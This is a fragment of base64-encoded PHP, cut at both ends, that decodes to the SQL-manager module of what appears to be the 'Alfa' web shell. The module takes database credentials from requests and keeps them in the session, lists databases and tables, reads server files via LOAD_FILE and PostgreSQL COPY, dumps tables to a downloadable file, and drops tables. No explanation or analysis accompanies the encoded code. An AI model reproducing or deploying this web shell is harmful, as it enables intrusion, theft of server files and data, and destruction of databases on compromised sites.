udGVyPiI7DQoJJGNhbnRfc3ltbGluayA9IGZhbHNlOw0KfQ0KaWYoJGNhbnRfc3ltbGluayllY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5FcnJvci4uLjwvZm9udD48L2I+PGJyPic7DQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXNxbCgpew0KaWYoIWlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KJF9QT1NUWydzcWxfaG9zdCddID0gJF9TRVNTSU9OWyJzcWxfaG9zdCJdOw0KJF9QT1NUWydzcWxfbG9naW4nXSA9ICRfU0VTU0lPTlsic3FsX2xvZ2luIl07DQokX1BPU1RbJ3NxbF9wYXNzJ10gPSAkX1NFU1NJT05bInNxbF9wYXNzIl07DQokX1BPU1RbJ3NxbF9iYXNlJ10gPSAkX1NFU1NJT05bInNxbF9iYXNlIl07DQp9DQpjbGFzcyBEYkNsYXNzew0KcHVibGljICR0eXBlOw0KcHVibGljICRsaW5rOw0KcHVibGljICRyZXM7DQpmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSl7DQokdGhpcy0+dHlwZSA9ICR0eXBlOw0KfQ0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQppZigkdGhpcy0+bGluayA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcywkZGJuYW1lKSkgcmV0dXJuIHRydWU7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCiRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsNCmlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCmlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBzZWxlY3RkYigkZGIpew0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCmlmKEBteXNxbGlfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIHF1ZXJ5KCRzdHIpew0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsaV9xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGZldGNoKCl7DQokcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCnJldHVybiBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXMpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBsaXN0RGJzKCl7DQpzd2l0Y2goJHRoaXMtPnR5cGUpew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGxpc3RUYWJsZXMoKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gZXJyb3IoKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gQG15c3FsaV9lcnJvcigkdGhpcy0+bGluayk7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpew0Kc3dpdGNoKCR0aGlzLT50eXBlKXsNCmNhc2UgJ215c3FsJzoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkNCnJldHVybiBAbXlzcWxpX3NldF9jaGFyc2V0KCR0aGlzLT5saW5rLCRzdHIpOw0KZWxzZQ0KJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSl7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQokdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBzb2xldmlzaWJsZShmaWxlIHRleHQpO0NPUFkgc29sZXZpc2libGUgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gc29sZXZpc2libGU7Iik7DQokcj1hcnJheSgpOw0Kd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQokcltdID0gJGlbJ2ZpbGUnXTsNCiR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBzb2xldmlzaWJsZScpOw0KcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSl7DQpzd2l0Y2goJHRoaXMtPnR5cGUpew0KY2FzZSAnbXlzcWwnOg0KJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7DQokY3JlYXRlID0gbXlzcWxpX2ZldGNoX2FycmF5KCRyZXMpOw0KJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7DQppZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQokdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQokaGVhZCA9IHRydWU7DQp3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKXsNCiRjb2x1bW5zID0gYXJyYXkoKTsNCmZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQppZigkdiA9PSBudWxsKQ0KJGl0ZW1bJGtdID0gIicnIjsNCmVsc2VpZihpc19udW1lcmljKCR2KSkNCiRpdGVtWyRrXSA9ICR2Ow0KZWxzZQ0KJGl0ZW1bJGtdID0gIiciLkBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCR0aGlzLT5saW5rLCAkdikuIiciOw0KJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQp9DQppZigkaGVhZCkgew0KJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQokaGVhZCA9IGZhbHNlOw0KfSBlbHNlDQokc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KfQ0KaWYoISRoZWFkKQ0KaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQokdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0Kd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KJGNvbHVtbnMgPSBhcnJheSgpOw0KZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQokY29sdW1uc1tdID0gJGs7DQp9DQokc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCmlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KfTsNCiRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCmlmKEAkX1BPU1RbJ2FsZmExJ109PSdkdW1wZmlsZSd8fEAkX1BPU1RbJ2FsZmExJ109PSdkcm9wdGJsJyl7DQokZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQokZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQpzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pew0KY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjYWxmYTEyNTEnKTsgYnJlYWs7DQpjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCmNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQpjYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KY2FzZSAiY2FsZmE4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NhbGZhODY2Jyk7IGJyZWFrOw0KfQ0KJGpzb24gPSBqc29uX2RlY29kZSgkX1BPU1RbJ2FsZmEyJ10sdHJ1ZSk7DQppZihjb3VudCgkanNvblsndGJsJ10pPjApew0KaWYoJF9QT1NUWydhbGZhMSddPT0nZHVtcGZpbGUnKXsNCmlmKCRmcCA9IEBmb3BlbigkanNvblsnZmlsZSddLCd3Jykpew0KZm9yZWFjaCgkanNvblsndGJsJ10gYXMgJHYpJGRiLT5kdW1wKCR2LCAkZnApOw0KZmNsb3NlKCRmcCk7DQokZHVtcFN0YXR1cyA9IHRydWU7DQp9fWVsc2V7DQpmb3JlYWNoKCRqc29uWyd0YmwnXSBhcyAkdikkZGItPnF1ZXJ5KCdEUk9QIFRBQkxFICcuJHYpOw0KfQ0KfQ0KdW5zZXQoJF9QT1NUWydhbGZhMiddKTsNCn0NCmFsZmFoZWFkKCk7DQplY2hvICINCjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgU3FsIE1hbmFnZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnYWxsJykuIjwvcD48L2NlbnRlcj4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTtyZXR1cm4gZmFsc2U7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8dGQ+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5UWVBFPC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5IT1NUPC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5EQiBVU0VSPC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5EQiBQQVNTPC9kaXY+PC90ZD48dGQ+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5EQiBOQU1FPC9kaXY+PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPVNxbD48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMScgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhbGZhMicgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOidVVEYtOCcpIC4iJz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2hvc3QnIGlkPSdkYl9ob3N0JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2xvZ2luJyBpZD0nZGJfdXNlcicgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX3Bhc3MnIGlkPSdkYl9wdycgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQokdG1wID0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfYmFzZScgaWQ9J2RiX25hbWUnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2Jhc2UnXSkpIC4iJz4iOw0KaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQppZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCiRfU0VTU0lPTlsic3FsX2hvc3QiXSA9ICRfUE9TVFsnc3FsX2hvc3QnXTsNCiRfU0VTU0lPTlsic3FsX2xvZ2luIl0gPSAkX1BPU1RbJ3NxbF9sb2dpbiddOw0KJF9TRVNTSU9OWyJzcWxfcGFzcyJdID0gJF9QT1NUWydzcWxfcGFzcyddOw0KJF9TRVNTSU9OWyJzcWxfYmFzZSJdID0gJF9QT1NUWydzcWxfYmFzZSddOw0Kc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKXsNCmNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY2FsZmExMjUxJyk7IGJyZWFrOw0KY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQpjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCmNhc2UgImNhbGZhODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjYWxmYTg2NicpOyBicmVhazsNCn0NCiRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOw0KJGRiLT5saXN0RGJzKCk7DQplY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOw0Kd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsNCn0NCmVjaG8gJzwvc2VsZWN0Pic7DQp9DQplbHNlIGVjaG8gJHRtcDsNCn1lbHNlDQplY2hvICR0bXA7DQplY2hvICI8L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nc3FsX2NvdW50JyB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+Y291bnQgdGhlIG51bWJlciBvZiByb3dzPC9kaXY+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHNjcmlwdD5teXNxbF9jYWNoZVsnaG9zdCddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfaG9zdCddKS4iJztteXNxbF9jYWNoZVsndXNlciddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfbG9naW4nXSkuIic7bXlzcWxfY2FjaGVbJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXlzcWxfY2FjaGVbJ2RiJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInO215c3FsX2NhY2hlWydjaGFyc2V0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ2NoYXJzZXQnXSkuIic7bXlzcWxfY2FjaGVbJ3R5cGUnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsndHlwZSddKS4iJztteXNxbF9jYWNoZVsnY291bnQnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2NvdW50J10pLiInPC9zY3JpcHQ+DQoiOw0KaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCmlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCiRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCmVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlRhYmxlczo8L2Rpdj48YnI+PGJyPiI7DQokdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKXsNCmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKQ0KJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gYCcuJHZhbHVlLidgJykpOw0KJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOw0KZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9XCJmcygnMCcsJyIuJHZhbHVlLiInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIuJHZhbHVlLiI8L3NwYW4+PC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/JyZuYnNwOyc6IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oeyRuWyduJ119KTwvc3Bhbj48L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsNCn0NCmVjaG8gIjxwPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nIER1bXAgJyBvbmNsaWNrPVwiZnMoJzQnKTtcIiBjbGFzcz0nYnV0dG9uJz4gPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9JyBEcm9wICEgJyBvbmNsaWNrPVwiZnMoJzUnKTtcIiBjbGFzcz0nYnV0dG9uJz48L3A+PGRpdiBjbGFzcz0ndHh0Zm9udCc+RmlsZSBwYXRoOjwvZGl2PjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZHVtcGZpbGUnIG5hbWU9J2ZpbGUnIHZhbHVlPSdkdW1wLnNxbCc+Ii4oJGR1bXBTdGF0dXM/JzxwPjxhIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCdkdW1wLnNxbFwnLCBcJ2Rvd25sb2FkXCcpIj48Zm9udCBjb2xvcj0iIzBGMCI+fiBEb3dubG9hZCBGaWxlIH48L2ZvbnQ+PC9hPjwvcD4nOicnKS4iPC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KaWYoQCRfUE9TVFsnYWxmYTEnXSA9PSAnc2VsZWN0Jyl7DQokX1BPU1RbJ2FsZmExJ10gPSAncXVlcnknOw0KJF9QT1NUWydhbGZhMyddID0gJF9QT1NUWydhbGZhMyddPyRfUE9TVFsnYWxmYTMnXToxOw0KJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSBgJy4kX1BPU1RbJ2FsZmEyJ10uJ2AnKTsNCiRudW0gPSAkZGItPmZldGNoKCk7DQokcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCmVjaG8gIjxzcGFuPiIuJF9QT1NUWydhbGZhMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdhbGZhMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsnYWxmYTMnXSkgLiAiPiI7DQplY2hvICIgb2YgJHBhZ2VzIjsNCmlmKCRfUE9TVFsnYWxmYTMnXSA+IDEpDQplY2hvICIgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz1mcygnMScsJ1tcIiIuJF9QT1NUWydhbGZhMiddLiJcIixcIiIuKCRfUE9TVFsnYWxmYTMnXS0xKS4iXCJdJyk+Jmx0OyBQcmV2PC9hPiI7DQppZigkX1BPU1RbJ2FsZmEzJ10gPCAkcGFnZXMpDQplY2hvICIgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz1mcygnMScsJ1tcIiIuJF9QT1NUWydhbGZhMiddLiJcIixcIiIuKCRfUE9TVFsnYWxmYTMnXSsxKS4iXCJdJyk+TmV4dCAmZ3Q7PC9hPiI7DQokX1BPU1RbJ2FsZmEzJ10tLTsNCiRjYWNoZV90YWJsZSA9ICRfUE9TVFsnYWxmYTInXTsNCmlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KJF9QT1NUWydhbGZhMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydhbGZhMiddLidgIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ2FsZmEzJ10qMzApOw0KZWxzZQ0KJF9QT1NUWydhbGZhMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydhbGZhMiddLidgIExJTUlUICcuKCRfUE9TVFsnYWxmYTMnXSozMCkuJywzMCc7DQplY2hvICI8YnI+PGJyPiI7DQp9DQppZigoQCRfUE9TVFsnYWxmYTEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMiddKSkgew0KJHByaWtleSA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgiU0VMRUNUIENPTFVNTl9OQU1FIEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNPTFVNTlMgV0hFUkUgVEFCTEVfU0NIRU1BID0gJyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJyBBTkQgVEFCTEVfTkFNRSA9ICciLkBhZGRzbGFzaGVzKCRjYWNoZV90YWJsZSkuIicgQU5EIENPTFVNTl9LRVkgPSAnUFJJJyIpKTsNCiRkYi0+cXVlcnkoQCRfUE9TVFsnYWxmYTInXSk7DQppZigkZGItPnJlcyAhPT0gZmFsc2Upew0KJHRpdGxlID0gZmFsc2U7DQplY2hvICc8dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4iIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiIGJvcmRlcj0iMSI+JzsNCiRsaW5lID0gMTsNCndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQppZighJHRpdGxlKXsNCmVjaG8gJzx0cj48dGg+IzwvdGg+JzsNCmZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpew0KZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KfQ0KcmVzZXQoJGl0ZW0pOw0KJHRpdGxlPXRydWU7DQplY2hvICc8L3RyPjx0cj4nOw0KJGxpbmUgPSAyOw0KfQ0KaWYoJGNhY2hlX3RhYmxlIT0nJyl7DQoJJGNhY2hlTXNnID0gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ZnMoXCcyXCcsXCdbIicuJGNhY2hlX3RhYmxlLiciLCInLighJHByaWtleVsnQ09MVU1OX05BTUUnXT8wOiRwcmlrZXlbJ0NPTFVNTl9OQU1FJ10pLiciLCInLl9fWlc1amIyUmxjZyhqc29uX2VuY29kZSgoISRwcmlrZXlbJ0NPTFVNTl9OQU1FJ10/JGl0ZW06JGl0ZW1bJHByaWtleVsnQ09M